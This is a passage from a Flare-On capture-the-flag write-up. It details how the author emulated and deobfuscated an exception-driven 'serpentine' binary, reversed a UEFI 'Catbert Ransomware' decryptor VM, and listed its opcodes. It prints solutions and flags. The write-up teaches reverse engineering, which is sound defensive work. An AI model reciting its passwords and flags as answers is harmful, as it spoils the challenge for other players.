RtlInstallFunctionTableCallback
- With the previous WinAPI function, install a dynamic function table for the mapped executable code.
With the dynamic function table, if a user exception is raised within the mapped memory, the exception dispatcher will call the program-specified to retrive RUNTIME_FUNCTION
information, which includes a pointer to an UNWIND_INFO
struct which contains unwind operations and a pointer to an exception handler function for the exception dispatcher to handle.
The main function (at virtual address TODO) then calls the mapped executable code, where the first instruction is actually a hlt
instruction in an unprivileged context, causing the protected mode exception #GP(0)
. This is then handled by KiUserExceptionDispatcher
which eventually calls the dynamic function callback at virtual address 0x1400010b0
. This takes the address where the exception was raised and reads the following byte as a aligned relative offset to the corresponding UNWIND_INFO
.
As an example, the first byte [shellcode]+0x0
, is executed as a hlt
instruction, the address of which the callback takes, and reads the next byte [shellcode]+0x1
being 0x46
. With that, the offset of the UNWIND_INFO
is [shellcode] + 0x2 + 0x46
, which further points to an exception handler at 0x00000098
(relative to the mapped executable code).
Further, during debugging, self-modifying code was observed, directly modifying soon-to-be executed code and resetting back to garbage after execution. Seeing as exceptions were also used a form of control flow obfuscation and that this would be tedious to trace in a debugger, I began to write an emulator. I used the Qiling framework to write a harness for the provided Windows binary. In hindsight, this could have been done much simpler by just mapping only the encrypted code and setting up other addresses, rather than emulating the whole binary and the Windows API.
TLS Callback functions are also not called on PE load in Qiling, so I had to hook at main entrypoint to set up the decrypted code.
Windows exceptions, let alone RtlInstallFunctionTableCallback
, were also not implemented, so I had to hook the API which installed some hooks. One was a memory access hook which does nothing; this was added for debugging the self-modifying code, but when removed later, the emulation broke, likely due to the underlying stale Unicorn/QEMU code caches for obfuscated blocks.
Another was a code hook to do basic exception handling across the mapped decrypted code, by parsing the UNWIND_INFO
structs and simply jumping to the exception handler.
relative_address = address - SHELLCODE_BASE
unwind_info_relative_address = relative_address + 1 + ql.mem.read_ptr(address + 1, 1) + 1
unwind_info_relative_address += unwind_info_relative_address & 1
unwind_info_address = SHELLCODE_BASE + unwind_info_relative_address
ql.log.info(f"Reading UnwindInfo for {address:#x} (+{relative_address:#x}) @ {unwind_info_address:#x} (+{unwind_info_relative_address:#x})")
unwind_info_data = ql.mem.read(unwind_info_address, 4)
if unwind_info_data[0] != 0x09:
ql.log.warning(f"Unexpected VersionAndFlags for {address:#x} (+{relative_address:#x}) @ {unwind_info_address:#x} (+{unwind_info_relative_address:#x})")
if unwind_info_data[1] != 0x00:
ql.log.warning(f"Unexpected SizeOfProlog for {address:#x} (+{relative_address:#x}) @ {unwind_info_address:#x} (+{unwind_info_relative_address:#x})")
unwind_code_count = unwind_info_data[2]
align = unwind_code_count & 1
exception_handler = SHELLCODE_BASE + ql.mem.read_ptr(unwind_info_address + 4 + ((unwind_code_count + align) * 2), 4)
ql.arch.regs.arch_pc = exception_handler
When tested, this didn’t work, and I soon realised that the unwind operations within the UNWIND_INFO
structs were significant as they loaded and stored values using UWOP_SAVE_NONVOL
, among others. The code hook was modified to also emulate RtlVirtualUnwind
by implementing these operations, while logging them for further debugging; the binary only uses UWOP_SAVE_NONVOL
, UWOP_ALLOC_LARGE
, UWOP_ALLOC_SMALL
, UWOP_SET_FPREG
, and UWOP_PUSH_MACHFRAME
.
Another snag was access relative to the base of the mapped executable code; the code only sets the low bytes of the address to access some data instead of adding, and the default implementation of VirtualAlloc
in Qiling did not align with 0x1000
. Another WinAPI hook had to be implemented to resolve this:
@winsdkapi(cc=STDCALL, params={
'lpAddress' : LPVOID,
'dwSize' : SIZE_T,
'flAllocationType' : DWORD,
'flProtect' : DWORD
})
def hook_VirtualAlloc(ql: Qiling, address: int, params):
global SHELLCODE_BASE
# dwSize = params["dwSize"] + 0x1000
# address = ql.os.heap.alloc(dwSize)
# address = (address & ~(0x1000-1))
# ql.mem.add_mapinfo(address, address + params["dwSize"], 7, "shellcode")
SHELLCODE_BASE = ql.mem.map_anywhere(params["dwSize"], align=0x10000, info="[shellcode]")
return SHELLCODE_BASE
This also didn’t work, due to a segfault during emulation. Debugging on a Windows VM revealed that the obfuscated code actually made use of an argument specified for exception handlers, specifically PDISPATCHER_CONTEXT DispatcherContext
. Further analysis revealed that only the struct member PCONTEXT ContextRecord
was accessed by the code and this contained the register state at the time the current exception was raised. The code hook now had to allocate some structs, and create a DispatcherContext
only containing the CONTEXT
record, before calling the specified exception handler in the UNWIND_INFO
:
dispatcher_context = ql.os.heap.alloc(8 * 8)
ql.mem.write_ptr(dispatcher_context, address, 8)
ql.mem.write_ptr(dispatcher_context + 0x8, SHELLCODE_BASE, 8)
ql.mem.write_ptr(dispatcher_context + 0x10, SHELLCODE_BASE, 8)
ql.mem.write_ptr(dispatcher_context + 0x18, establisher_frame, 8)
context = ql.os.heap.alloc(0x4d0)
ql.mem.write_ptr(context + 0x34, ql.arch.regs.read(UC_X86_REG_MXCSR), 4)
ql.mem.write_ptr(context + 0x38, ql.arch.regs.cs, 2)
ql.mem.write_ptr(context + 0x3a, ql.arch.regs.ds, 2)
...
ql.mem.write_ptr(dispatcher_context + 0x28, context, 8)
...
align = unwind_code_count & 1
exception_handler = SHELLCODE_BASE + ql.mem.read_ptr(unwind_info_address + 4 + ((unwind_code_count + align) * 2), 4)
ql.os.fcall.call_native(exception_handler, (
(POINTER, 0),
(POINTER, 0),
(POINTER, 0),
(POINTER, dispatcher_context),
), ql.arch.regs.arch_pc)
With the above hooks, I can emulate the control flow of the binary. After some logging, I was confident enough to recognise obfuscation patterns so another code hook was applied to log executed instructions to lift later. The following patterns were identified:
; obfuscated instruction
push rax
mov rax, 0
mov ah, byte ptr [&BYTE]
lea eax, dword ptr ds:[eax+CONSTANT]
mov dword ptr ds:[rip+0x1],eax
pop rax
; OBFUSCATED INSTRUCTION HERE
mov dword ptr ds:[rip-0x14],676742DD
; obfuscated jump
push rax
mov rax, OFFSET_TARGET
lea rax,qword ptr ds:[rax+5]
xchg qword ptr ss:[rsp],rax
ret
This deobfuscation hook binned grouped instructions into SerpentineRawBlock
s, each logically starting and ending with a hlt
instruction, also marking the instantiation of a new CONTEXT
record. It also ignored call
s and jmp
s as “proper” functions returning to the original callers were not observed during debugging. For every step, the deobfuscation hook matches the most recently executed instructions against fixed patterns:
- If the prologue of an obfuscated instruction is matched, delete it from the history of the current
SerpentineRawBlock
and mark the address of the following instruction for later. - If an obfuscated
jmp
is matched, delete the return address setup from the history of the currentSerpentineRawBlock
. - If the epilogue of an obfuscated instruction is matched and refers to a previously marked instruction address, delete it from the history of the current
SerpentineRawBlock
Additionally, the exception handling hook was amended to append unwind operations to the current SerpentineRawBlock
for later analysis.
After a test emulation run, I noticed the program terminated early, outputting only “Wrong key”. I then identified the cmovne
instructions which specified a jump target of either the fail function or the next code block depending on the result of a previous equality check. With this, I modified the deobfuscation hook to also force a successful branch to proceed executing the obfuscated code.
After logging all the filtered instructions, I wrote code to further lift SerpentineRawBlock
s into a list of instruction information for further deobfuscation.
One important deobfuscation was the lifting the references to DispatcherContext->ContextRecord
, as one SerpentineRawBlock
may reference values stored in the registers of the previous block/”exception handler”. The lifting pass attempted to replace member accesses to ContextRecord
with the corresponding register. The pass searched for mov, dst [r9 + 0x28]
and tracked the destination register as the current “context register”. Note that each block may have multiple CONTEXT
address reads and hence multiple context registers. Overwritten registers also had to be tracked throughout the block to the prevent erroneous interpretation of overwritten r9
as a ContextRecord
access. Some references weren’t read access but rather write access prior to a read access; hence, which instructions originated from the exception handler’s CONTEXT
had to be noted seperately.
Constants were also obfuscated trivially and this was lifted easily. There were two types of obfuscated constants, one set directly to a register, and another set directly to the machine frame.
The former simply was a movabs
to a destination register immediately followed by an add
instruction to the same register. These two instruction would be inlined as one movabs
instruction.
The latter was a bit more complicated, as it initially movabs
to a temporary register before immediately push
ing it to the stack as the rsp
value for the “machine frame” for the next block’s unwind operations, before the push
of several other junk values to pad out the machine frame structure; this is then followed by an add
to the pushed value on the stack, e.g. qword ptr [rsp + 0x18]
. This was inlined into simple push
instructions with the constant also simplified.
The emulation and partial solve script can be found here.
I then… procrastinated hard after performing this first lifting. It looked daunting and difficult, and I had personal affairs to attend to as well leading me to procrastinate for two weeks before I had the motivation to pick it up again.
After picking this challenge up again, I noticed the deobfuscated assembly had repeated referenced a couple of tables, indexed them and used them to modify intermediate variables, towards hashing the input in some form to compare later.
I then tried to identify what it was doing with the tables; from further disassembly, I identified the use of several table of tables, char (*[0x100])[0x100]
, and reading a byte to use in a sub, xor, add, etc., or to just set another byte in the program’s variables. The following is an example of the first operation, which I disassembled by hand:
t = INPUT_KEY[0x4] * 0xef7a8c
b = t & 0xFF
t = t + (TABLE_A[0x8d][b] << 8)
t = (t & ~0xFF) | TABLE_B[0x8d][b]
I also noticed a couple of tables were used together like in the above: one (TABLE_A
) to add to the following higher byte, the other (TABLE_B
) to just set the lower byte. TABLE_A
acted like a “mask” of sorts, only returning 1 when b
is larger than a certain value. TABLE_B
just appeared to be a byte mapping, 0x00
through 0xFF
, albeit rotated.
I genuinely had no idea what the lifted code meant to do, when the same night I woke up from a dream and realised it was just mere addition; TABLE_A
was a table for carry value and would only be 1
when b + 0x8d
would overflow, where as TABLE_B
is just a lookup table (LUT) for (b * 0x8d) & 0xFF
. I soon identified the purpose of the other tables:
AND_LUT
at offset0x1400942c0
XOR_LUT
at offset0x140094ac0
OR_LUT
at offset0x1400952c0
ADDITIVE_SET_LUT
at offset0x140095ac0
ADDITIVE_CARRY_LUT
at offset0x1400962c0
SUBTRACTIVE_SET_LUT
at offset0x140096ac0
SUBTRACTIVE_CARRY_LUT
at offset0x1400972c0
Moreover, the pattern for using these tables are as follows:
2e5e76 ldmxcsr rbx ; the selected current byte, b
2e5ee5 movabs rsi, 0x1400962c0 ; ADDITIVE_CARRY_LUT
2e5fc1 mov rsi, qword ptr [rsi + 0x2e8] ; ADDITIVE_CARRY_LUT[0x5d]
2e6028 add rsi, rbx ; ADDITIVE_CARRY_LUT[0x5d][b]
000d26 mov bpl, byte ptr [rsi]
000d29 movzx rbp, bpl
000d2d shl rbp, 0x10
2e6091 add rdi, rbp
2e60f6 mov r14, rdi ; hash += ADDITIVE_CARRY_LUT[0x5d][b] << 0x10
2e6160 movabs rbp, 0x140095ac0 ; ADDITIVE_SET_LUT
; LIFTED BLOCK START 13
UWOP_SET_FPREG(rbp, 0)
UWOP_ALLOC_LARGE(0x2e8)
UWOP_SAVE_NONVOL(rbp, 0x140095da8) = 0x14004d0c0 ; ADDITIVE_SET_LUT[0x5d]
000e3e ldmxcsr mxcsr ; the selected current byte, b
2e6297 mov r13, rbp ; ADDITIVE_SET_LUT[0x5d]
2e6301 mov r15, r14 ; hash
; LIFTED BLOCK START 14
2e63db mov rbp, r15 ; hash from prev. CONTEXT record
000f38 mov eax, mxcsr ; b from prev. CONTEXT
2e6446 add rax, r13 ; ADDITIVE_SET_LUT[0x5d][b]
000f43 mov r15b, byte ptr [rax] ; ADDITIVE_SET_LUT[0x5d][b]
2e64ad mov r14, 0xff
000f4d shl r14, 0x8
000f51 not r14
000f54 and rbp, r14
000f57 movzx r14, r15b
000f5b shl r14, 0x8
000f5f or rbp, r14
With this in mind, I began to write the second-stage lifting pass. I read through the listings of the lifted blocks from the previous pass to identify further higher-level obfuscation techniques and I validated my findings with a Windows VM.
I modified the emulator to dump the lifted blocks into a JSON file, so I don’t need to run the emulation again to debug my deobfuscation, for which I planned several overengineered constructs for:
SerpentineOp
, an IL instruction consisting of a one-byte binary operation of eitherand
,xor
,or
,add
orsub
.- Note that several
LiftedBlock
s can map onto oneSerpentineOp
.
- Note that several
SerpentineBlock
, different to aSerpentineRawBlock
orLiftedBlock
, contains:- A list of
SerpentineOp
s - The index of the corresponding input it is computing on
- The multiplicative constant
- The compression operation against the result of the previous block
- A list of
SerpentineSuperBlock
, starting and ending with acmovne
, signifying one “test” performed by the binary, containing a list ofSerpentineBlock
s
The lifter iterated through the lifted blocks binned them accordingly to their SerpentineSuperBlock
, which then binned them into SerpentineBlock
s with the previous definitions. The first deobfuscations began within SerpentineBlock
s with lifting instruction patterns into their SerpentineOp
:
- Identify input index from unwind operations, specifically
UWOP_SAVE_NONVOL
from theINPUT_KEY
array. - Identified and verified the use of its multiplicative constant
- If the block is not the first within its superblock, ensure and identify the compression operation that was performed after multiplication
- Iterate through further blocks:
- Identify the current shift of the operation through
UWOP_PUSH_MACHFRAME
s orUWOP_SET_FPREG
from the stack - From
UWOP_SAVE_NONVOL
, identify any reads from the LUTs- Derive the right-hand value from the displacement to the corresponding LUT.
- Append new
SerpentineOp
and proceed
- Iterate through
movabs
instructions in the block otherwise, to identify access to the additive and subtractive carry LUTs.- Derive the right-hand value from the displacement to the corresponding LUT.
- Append new
SerpentineOp
and proceed. - In the following lifted blocks, a
UWOP_SAVE_NONVOL
may be read from the corresponding byte LUTs, so verify accordingly and skip processing.
- Identify the current shift of the operation through
I then ran into an edge case where an add/subtract operation is performed on the last byte (shift == 0x7 * 0x8
); no carry is needed, and hence no carry was performed in the previous block. The UWOP_SAVE_NONVOL
hueristic was updated to handle this to append a new SerpentineOp
if and only if the corresponding shift is 0x7 * 0x8
.
Earlier, with the previous validation debugging in the Windows VM, I realised that consecutive byte operations can be easily lifted into a larger operation with a QWORD as the right-hand value. After confirming with some testing, I began with the third-stage lifting pass.
This pass iterated through all operations for each block and if a run of consecutive operations with the same action is identified, reduce the constants accordingly and yield the new lifted operation. There were some operations which did nothing, specifically t &= 0xFF
and t |= 0x0
. I had discarded these in this lifting pass but I was hesitant because I wasn’t sure if I was missing something subtle. These were the only uses of AND_LUT
and OR_LUT
meaning the challenge authors had inserted look up tables and operations for seemingly no good reason other than to further pad out the program.
The lifter would output some readable Python expressions, which I intended to feed this into Z3, but it took too long to satisfy. I then tested just one lifted superblock which yielded several satisfying models but also didn’t work with consecutive checks. I then tested multiple lifted superblocks which read from the same offsets and it spent 30 minutes without yielding a satisfying model. I even changed the SMT solver to CVC5 in hopes of speeding up, but yielded nothing. I spent an entire night trying to debug the Z3 constraints and solve script, when suddenly the proof script using Z3 worked on my laptop with all constraints specified. I forgot the exact change which made this happen, but I suspect it was further narrowing for the input characters, which I hadn’t tested with all of the constraints before. Interestingly, CVC5 didn’t solve it as quickly as Z3.
As an addendum, a cleaner solve with all the above known beforehand would be simply to trace only mul
instructions and references to the LUTs to immediately lift to SerpentineOp
s without needing to deobfuscate the assembly inbetween lifting passes.
Flag: $$_4lway5_k3ep_mov1ng_and_m0ving@flare-on.com
Catbert Ransomware
Within the provided file (bios.bin
), there was the bytes 78 E5 8C 8C 3D 8A
at offset 0x84010. Searching for this magic number reveals that this is a Firmware Filesystem version 2 Volume in a UEFI image. I used uefitool
to peruse through the image’s filesystems to find interesting apps or non-standard PEI or DXEs but couldn’t find anything. I then attempted to emulate the firmware with QEMU:
$ qemu-system-x86_64 -bios bios.bin

We can see the important decryptor being a part of the Shell
application, and even identified the command decrypt_file
in the help information:

With this in mind, I extracted and analysed the Shell
UEFI application using the corresponding open-source code found in EDK2. From calls to ShellCommandRegisterCommandName
at virtual offset 0x1c3bc
had further identified the decrypt_file
runner (ShellCommandRunDecryptFile
at virtual offset 0x31bc4
).
The function requires a 16 character decryption key, and reads two chunks out of the specified encrypted input file. The first chunk is passed to an unknown function (discussed later) and fails if that function did not set a global variable to a non-zero value, and if the decryption key’s CRC32/MPEG-2 checksum is compared against the following values:
0x8ae981a5
0x92918788
0x80076040
If a match is found, it will allocate its corresponding global buffer and copy the decryption key into it. The second chunk would be decrypted with RC4 using the decryption key and written to the output file.
Afterwards, there’s some additional logic for decrypting DilBoot.efi.enc
, present on the provided disk image.
If all 3 global buffers are instantiated, the command will continue to construct a new key from the previous decryption keys
and use that to decrypt the second UEFI application and write it back to disk.
Diving into the unknown function, I identified that it was actually the runtime for a stack-based VM, much like Python’s. The input was the password and it was injected into the bytecode as immediates before execution. The executor may also write a value to a global function indicating whether or not the input decryption key is valid for this file.
I quickly reverse engineered the VM runner (see opcode listing) and wrote a dissassembler and lifter in Python and extracted the encrypted files from the provided FAT image disk.img
using 7zip.
The lifter treated instruction operands as nested expressions, potentially containing an immediate constant, a StackOperand
or a ScratchOperand
. Several lifting passes were implemented and repeatedly called until there was no more changes. The following is a general overview of these passes:
push
es immediately followed by another instruction popping the same value were lifted into the one instruction, with the value of thepush
, either an immediate or another subexpression, inlined into the lastStackOperand
.- Similar to the previous
push
inlining pass,get_scratch
was also inlined into the next instruction if applicable, as the subexpressionSCRATCH[index]
- Binary operations were also inlined as a subexpression if possible, circular shifts were especially handled to emit function calls, e.g.
ror8(a, b)
rather than infix operators
After writing the VM lifter, I began to disassemble the file to crack their passwords.
The first encrypted file (catmeme1.jpg.c4tb
) looked relatively easy, contained the slightly obfuscated password DaDubicle1ifeb0b
encoded in immediate operands.
The bytecode circular-shifts a couple of the characters, before comparing the input to the array, revealing the correct password DaCubicleLife101
.
This password was validated using the previous CRC32 checksum we found: 0x8ae981a5
The second file (catmeme2.jpg.c4tb
) contained an encrypted form of the flag, which what appears to be an XOR keystream from an LCG cipher.
Reverse engineering the bytecode reveals the use of a linear congruential generator, which is then XORed with the input to be compared against the constant array:
x = 0x1337
x = (((0x343fd * x) + 0x269ec3) % 0x80000000)
After implementing the above in python, I still haven’t got a proper decryption;
closer reading of the bytecode reveals that only the low byte from each DWORD output is used for each character iteration.
Decrypting the encrypted flag gives us G3tDaJ0bD0neM4te
; again, validated via the CRC32 checksum 0x92918788
The third file (catmeme3.jpg.c4tb
) implements several non-cryptographic hashes and checks:
DJBX33A(decryption_key[:4]) == 0x7c8df4cb
ROR13_ADD(decryption_key[4:8] == 0x8b681d82
ADLER32(decryption_key[8:16]) == 0x0f910374
FNV1(decryption_key) == 0x31f009d2
Both the DJBX33A and ROR13 hashes were solved individually using Z3 solver, resulting in VerY
and DumB
key parts respectively,
but the Adler32 had to be be searched for in Google, in a lucky guess with adler32 f910374
, which resulted in the key part password
.
Both the FNV1 hash and CRC checksum (0x80076040
) validated the decryption key VerYDumBpassword
.
With all three passwords, I emulated the construction of the RC4 key for DilBoot.efi.enc
, resulting in BureaucracY4Life
.
The decrypted EFI application is rather simple, only prints a few messages and writes a new file, your_mind.jpg.c4tb
,
while directly providing the password: BrainNumbFromVm!
I noticed the many out
(print character) instructions in the bytecode for your_mind.jpg.c4tb
after the password check and I modified my emulator to jump to the start of that block to see the output:
_ _ _ _ _ _
/ \ / \ / \ / \ / \ / \
( u )( n )( d )( 3 )( r )( _ )
\_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( c )( 0 )( n )( s )( t )( r )( u )( c )( t )( i )( 0 )( n )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
After decrypting your_mind.jpg
, I got a bit lost and confused since this only contained @flare-on.com
, and I assumed the previous text was part of the flag, resulting in und3r_c0nstructi0n@flare-on.com
which was incorrect on submission. I then realised the previous catmeme
JPGs actually contained the other past flag parts and I decrypted each file accordingly and concatenated each, including the output from your_mind.jpg.c4tb
to get the flag.




Flag: th3_ro4d_t0_succ3ss_1s_alw4ys_und3r_c0nstructi0n@flare-on.com
Appendix
Fully deobfuscated mememaker3000
const a0c = ["When you find a buffer overflow in legacy code", "Reverse Engineer", "When you decompile the obfuscated code and it makes perfect sense", "Me after a week of reverse engineering", "When your decompiler crashes", "It's not a bug, it'a a feature", "Security 'Expert'", 'AI', "That's great, but can you hack it?", "When your code compiles for the first time", "If it ain't broke, break it", "Reading someone else's code", "EDR", "This is fine", "FLARE On", "It's always DNS", "strings.exe", "Don't click on that.", "When you find the perfect 0-day exploit", "Security through obscurity", "Instant Coffee", "H@x0r", "Malware", "$1,000,000", "IDA Pro", "Security Expert"],
a0d = {
doge1: [["75%", "25%"], ["75%", "82%"]],
boy_friend0: [["75%", "25%"], ["40%", '60%'], ["70%", "70%"]],
draw: [['30%', "30%"]],
drake: [["10%", "75%"], ["55%", "75%"]],
two_buttons: [["10%", "15%"], ['2%', "60%"]],
success: [["75%", "50%"]],
disaster: [['5%', "50%"]],
aliens: [['5%', '50%']]
},
a0e = {
...
};
function a0f() {
document.getElementById("caption1").hidden = true;
document.getElementById("caption2").hidden = true;
document.getElementById("caption3").hidden = true;
const a = document.getElementById("meme-template");
var b = a.value.split('.')[0x0];
a0d[b].forEach(function (c, d) {
var e = document.getElementById("caption" + (d + 0x1));
e.hidden = false;
e.style.top = a0d[b][d][0x0];
e.style.left = a0d[b][d][0x1];
e.textContent = a0c[Math.floor(Math.random() * (a0c.length - 0x1))];
});
}
a0f();
const a0g = document.getElementById("meme-image"),
a0h = document.getElementById("meme-container"),
a0i = document.getElementById("remake"),
a0j = document.getElementById("meme-template");
a0g.src = a0e[a0j.value];
a0j.addEventListener("change", () => {
a0g.src = a0e[a0j.value];
a0g.alt = a0j.value;
a0f();
});
a0i.addEventListener('click', () => {
a0f();
});
function a0k() {
const a = a0g.alt.split('/').pop();
if (a !== Object.keys(a0e)[0x5]) {
return;
}
const b = a0l.textContent,
c = a0m.textContent,
d = a0n.textContent;
if (a0c.indexOf(b) == 0xe && a0c.indexOf(c) == a0c.length - 0x1 && a0c.indexOf(d) == 0x16) {
var e = new Date().getTime();
while (new Date().getTime() < e + 0xbb8) {}
var f = d[0x3] + 'h' + a[0xa] + b[0x2] + a[0x3] + c[0x5] + c[c.length - 0x1] + '5' + a[0x3] + '4' + a[0x3] + c[0x2] + c[0x4] + c[0x3] + '3' + d[0x2] + a[0x3] + 'j4' + a0c[0x1][0x2] + d[0x4] + '5' + c[0x2] + d[0x5] + '1' + c[0xb] + '7' + a0c[0x15][0x1] + b.replace('\x20', '-') + a[0xb] + a0c[0x4].substring(0xc, 0xf);
f = f.toLowerCase();
alert(atob("Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog") + f);
}
}
const a0l = document.getElementById("caption1"),
a0m = document.getElementById("caption2"),
a0n = document.getElementById("caption3");
a0l.addEventListener('keyup', () => {
a0k();
});
a0m.addEventListener("keyup", () => {
a0k();
});
a0n.addEventListener("keyup", () => {
a0k();
});
Catbert Ransomware VM opcodes
00
- hlt
- Terminates program
01
- push_imm
- Reads encoded short
imm
following opcode - Pushes
imm
02
- push_scratch
- Reads encoded short
imm
following opcode - Pushes
SCRATCH[imm]
03
- add_scratch
- Reads encoded short
imm
following opcode - Pops one qword
right
- Pushes
SCRATCH[imm] + right
04
- pop_scratch
- Reads encoded short
imm
following opcode - Pops one qword
value
SCRATCH[imm] = value
05
- get_scratch
- Pops one qword
index
- Pushes
SCRATCH[index]
06
- set_scratch
- Pops two qwords
index
andvalue
- Sets
SCRATCH[index] = value
07
- dup
- Copies top qword and pushes
08
- pop
- Pops one qword and does nothing
09
- add
- Pop two qwords
left
andright
- Push one qword
left + right
0A
- add_imm
- Reads encoded short
imm
following opcode - Pops one qword
left
- Pushes
left + imm
0B
- sub
- Pop two qwords
left
andright
- Push one qword
left - right
0C
- div
- Pop two qwords
left
andright
- Push one qword
left / right
0D
- mul
- Pop two qwords
left
andright
- Push one qword
left * right
0E
- jmp
- Reads encoded short
imm
following opcode - Set
VmIp += imm
0F
- jz
- Pops one qword
predicate
- Reads encoded short
imm
following opcode - If
predicate == 0
, setVmIp += imm
10
- jnz
- Pops one qword
predicate
- Reads encoded short
imm
following opcode - If
predicate != 0
, setVmIp += imm
11
- eq
- Pop two qwords
left
andright
- Push one qword
left == right
12
- lt
- Pop two qwords
left
andright
- Push one qword
left < right
13
- lte
- Pop two qwords
left
andright
- Push one qword
left <= right
14
- gt
- Pop two qwords
left
andright
- Push one qword
left > right
15
- gte
- Pop two qwords
left
andright
- Push one qword
left >= right
16
- gte_imm
- Reads encoded short
imm
following opcode - Pop one qword
left
- Push one qword
left >= imm
17
- set_return
- Pop one qword
value
- Sets external
VmStatus
global tovalue
18
- return
- Terminates program
19
- set_return
- Pop one qword
value
- Sets external
VmStatus
global tovalue
1A
- xor
- Pop two qwords
left
andright
- Push one qword
left ^ right
1B
- or
- Pop two qwords
left
andright
- Push one qword
left | right
1C
- and
- Pop two qwords
left
andright
- Push one qword
left & right
1D
- mod
- Pop two qwords
left
andright
- Push one qword
left % right
1E
- shl
- Pop two qwords
left
andright
- Push one qword
left << right
1F
- shr
- Pop two qwords
left
andright
- Push one qword
left >> right
20
- cshl32
- Pop two qwords
left
andright
- Truncate
left
to dword - Truncate
right
to byte - Push one qword
(left >> (32 - right)) | (left << right)
21
- cshr32
- Pop two qwords
left
andright
- Truncate
left
to dword - Truncate
right
to byte - Push one qword
(left << (32 - right)) | (left >> right)
22
- cshl16
- Pop two qwords
left
andright
- Truncate
left
to short - Truncate
right
to byte - Push one qword
(left >> (16 - right)) | (left << right)
23
- cshr16
- Pop two qwords
left
andright
- Truncate
left
to short - Truncate
right
to byte - Push one qword
(left << (16 - right)) | (left >> right)
24
- cshl8
- Pop two qwords
left
andright
- Truncate
left
to byte - Truncate
right
to byte - Push one qword
(left >> (8 - right)) | (left << right)
25
- cshr8
- Pop two qwords
left
andright
- Truncate
left
to byte - Truncate
right
to byte - Push one qword
(left << (8 - right)) | (left >> right)
26
- out
- Pops one qword
value
- Performs
printf("%c", value)
-
Unfortunately I didn’t realise this and blindly sent it to a server which fell over due to an out-of-memory error. ↩